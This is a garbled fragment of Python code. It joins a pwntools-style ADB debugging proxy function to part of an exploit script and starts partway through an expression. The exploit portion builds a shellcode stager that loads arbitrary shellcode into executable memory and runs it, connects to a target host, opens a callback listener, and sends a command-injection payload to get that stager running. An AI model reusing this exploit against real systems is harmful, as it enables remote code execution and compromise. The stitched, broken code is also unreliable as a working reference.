def proxy(port=9999): """Starts an ADB proxy on the specified port, for debugging purposes.""" l = listen(port) l.wait_for_connection() r = remote(context.adb_host, context.adb_port, level='debug') l <> r
'\n', ';').replace('"', '\\"').replace('\xFF', '\\n') python_shellcode_stager = '''from mmap import * from ctypes import * sc={0} m=mmap(-1,len(sc),MAP_PRIVATE|MAP_ANONYMOUS,PROT_WRITE|PROT_READ|PROT_EXEC) m.write(sc) cast(addressof(c_char.from_buffer(m)),CFUNCTYPE(c_void_p))() ''' if __name__ == "__main__": s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], int(sys.argv[2]))) listener = listen(CALLBACK_PORT) target_ip = socket.gethostbyname(socket.gethostname()) def signal_handler(sig, frame): s.shutdown(socket.SHUT_RDWR) s.close() sys.exit(0) signal.signal(signal.SIGINT, signal_handler) payload = open(sys.argv[3], 'rb').read() payload = python_shellcode_stager.format(payload) s.send( create_command_inject( create_initial_stager(target_ip, CALLBACK_PORT, len(payload))))